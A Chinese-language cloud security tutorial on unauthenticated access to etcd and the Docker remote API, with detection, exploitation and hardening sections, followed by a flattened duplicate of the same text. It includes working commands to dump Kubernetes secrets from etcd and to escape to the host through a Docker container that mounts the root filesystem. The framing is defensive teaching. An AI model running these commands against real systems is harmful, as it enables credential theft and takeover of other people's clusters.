云安全攻防:etcd未授权访问及docker api未授权利用
字数 1394 2025-08-29 22:41:38

云安全攻防:etcd未授权访问及Docker API未授权利用教学文档

1. 前言

在云环境中,容器编排工具是核心组件之一。Kubernetes作为主流编排工具,其安全性至关重要。本教学文档将详细讲解两个关键漏洞:etcd未授权访问和Docker API未授权访问的利用方法,帮助安全人员理解攻击原理并进行有效防御。

2. etcd未授权访问

2.1 etcd简介

etcd是一个分布式一致性键值存储系统,在Kubernetes集群中扮演以下角色:

  • 存储Kubernetes集群的所有状态信息
  • 用于服务注册发现与共享配置
  • 持久化存储集群关键数据

2.2 etcd默认端口

etcd使用以下关键端口:

  • 客户端端口(默认2379):用于etcd集群与Kubernetes控制平面之间的通信
  • 集群通信端口(默认2380):用于etcd集群节点间的内部通信,实现Raft协议的数据同步

2.3 未授权访问风险

当管理员配置不当时,可能导致etcd未授权访问,攻击者可:

  1. 从etcd中获取secrets和token等关键信息
  2. 通过kubectl创建恶意pod接管集群
  3. 获取集群完整控制权

2.4 漏洞检测方法

方法一:页面验证

访问以下URL,若返回版本信息则可能存在未授权访问:

http://IP:2379/version

方法二:etcdctl工具验证

  1. 下载etcdctl客户端:
    https://github.com/etcd-io/etcd
    
  2. 执行验证命令:
    etcdctl --endpoints=IP:2379
    

2.5 利用流程

  1. 信息收集

    • 获取所有key:
      etcdctl --endpoints=IP:2379 get / --prefix --keys-only
      
    • 获取具体key值:
      etcdctl --endpoints=IP:2379 get /registry/secrets/default/[secret-name]
      
  2. 获取敏感凭证

    • 从etcd中提取service account tokens
    • 获取kubeconfig文件内容
  3. 集群接管

    • 使用获取的凭证通过kubectl连接集群
    • 创建特权pod获取节点权限

3. Docker API未授权访问

3.1 Docker API简介

Docker守护进程提供REST API用于管理容器,默认监听在:

  • Unix socket:unix:///var/run/docker.sock
  • TCP端口:2375(未加密)或2376(TLS加密)

3.2 未授权访问风险

当Docker API配置为允许远程未授权访问时,攻击者可:

  1. 列出所有容器和镜像
  2. 创建/删除容器
  3. 执行容器内命令
  4. 挂载宿主机目录实现逃逸

3.3 漏洞检测方法

方法一:API请求验证

curl http://IP:2375/version

若返回Docker版本信息则可能存在未授权访问

方法二:Docker客户端验证

docker -H tcp://IP:2375 ps

3.4 利用流程

  1. 信息收集

    • 列出所有容器:
      curl http://IP:2375/containers/json
      
    • 检查容器配置:
      curl http://IP:2375/containers/[container-id]/json
      
  2. 容器操作

    • 创建新容器:
      POST /containers/create
      
    • 启动容器:
      POST /containers/[container-id]/start
      
  3. 权限提升

    • 挂载宿主机目录:
      {
        "HostConfig": {
          "Binds": ["/:/host"]
        },
        "Cmd": ["chroot", "/host", "sh"]
      }
      
    • 执行宿主机命令:
      docker -H tcp://IP:2375 run -it -v /:/host alpine chroot /host bash
      

4. 防御措施

4.1 etcd安全配置

  1. 启用TLS认证:
    etcd --cert-file=server.crt --key-file=server.key --client-cert-auth=true
    
  2. 配置访问控制:
    • 使用防火墙限制2379/2380端口的访问
    • 仅允许Kubernetes控制平面节点访问
  3. 启用身份验证:
    etcd --auth-token=simple
    

4.2 Docker API安全配置

  1. 禁用TCP监听或启用TLS:
    dockerd --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem
    
  2. 配置防火墙规则限制2375/2376端口
  3. 使用Docker授权插件:
    dockerd --authorization-plugin=plugin1
    
  4. 使用网络策略限制访问来源

5. 总结

etcd和Docker API的未授权访问是云环境中常见的高危漏洞,可导致整个集群被接管。安全团队应:

  1. 定期检查相关服务的访问控制配置
  2. 启用必要的认证和加密机制
  3. 监控异常API访问行为
  4. 遵循最小权限原则配置服务账户

通过理解这些漏洞的利用方式和防御措施,可以有效提升云环境的安全性。

云安全攻防:etcd未授权访问及Docker API未授权利用教学文档 1. 前言 在云环境中,容器编排工具是核心组件之一。Kubernetes作为主流编排工具,其安全性至关重要。本教学文档将详细讲解两个关键漏洞:etcd未授权访问和Docker API未授权访问的利用方法,帮助安全人员理解攻击原理并进行有效防御。 2. etcd未授权访问 2.1 etcd简介 etcd是一个分布式一致性键值存储系统,在Kubernetes集群中扮演以下角色: 存储Kubernetes集群的所有状态信息 用于服务注册发现与共享配置 持久化存储集群关键数据 2.2 etcd默认端口 etcd使用以下关键端口: 客户端端口(默认2379) :用于etcd集群与Kubernetes控制平面之间的通信 集群通信端口(默认2380) :用于etcd集群节点间的内部通信,实现Raft协议的数据同步 2.3 未授权访问风险 当管理员配置不当时,可能导致etcd未授权访问,攻击者可: 从etcd中获取secrets和token等关键信息 通过kubectl创建恶意pod接管集群 获取集群完整控制权 2.4 漏洞检测方法 方法一:页面验证 访问以下URL,若返回版本信息则可能存在未授权访问: 方法二:etcdctl工具验证 下载etcdctl客户端: 执行验证命令: 2.5 利用流程 信息收集 : 获取所有key: 获取具体key值: 获取敏感凭证 : 从etcd中提取service account tokens 获取kubeconfig文件内容 集群接管 : 使用获取的凭证通过kubectl连接集群 创建特权pod获取节点权限 3. Docker API未授权访问 3.1 Docker API简介 Docker守护进程提供REST API用于管理容器,默认监听在: Unix socket: unix:///var/run/docker.sock TCP端口: 2375 (未加密)或 2376 (TLS加密) 3.2 未授权访问风险 当Docker API配置为允许远程未授权访问时,攻击者可: 列出所有容器和镜像 创建/删除容器 执行容器内命令 挂载宿主机目录实现逃逸 3.3 漏洞检测方法 方法一:API请求验证 若返回Docker版本信息则可能存在未授权访问 方法二:Docker客户端验证 3.4 利用流程 信息收集 : 列出所有容器: 检查容器配置: 容器操作 : 创建新容器: 启动容器: 权限提升 : 挂载宿主机目录: 执行宿主机命令: 4. 防御措施 4.1 etcd安全配置 启用TLS认证: 配置访问控制: 使用防火墙限制2379/2380端口的访问 仅允许Kubernetes控制平面节点访问 启用身份验证: 4.2 Docker API安全配置 禁用TCP监听或启用TLS: 配置防火墙规则限制2375/2376端口 使用Docker授权插件: 使用网络策略限制访问来源 5. 总结 etcd和Docker API的未授权访问是云环境中常见的高危漏洞,可导致整个集群被接管。安全团队应: 定期检查相关服务的访问控制配置 启用必要的认证和加密机制 监控异常API访问行为 遵循最小权限原则配置服务账户 通过理解这些漏洞的利用方式和防御措施,可以有效提升云环境的安全性。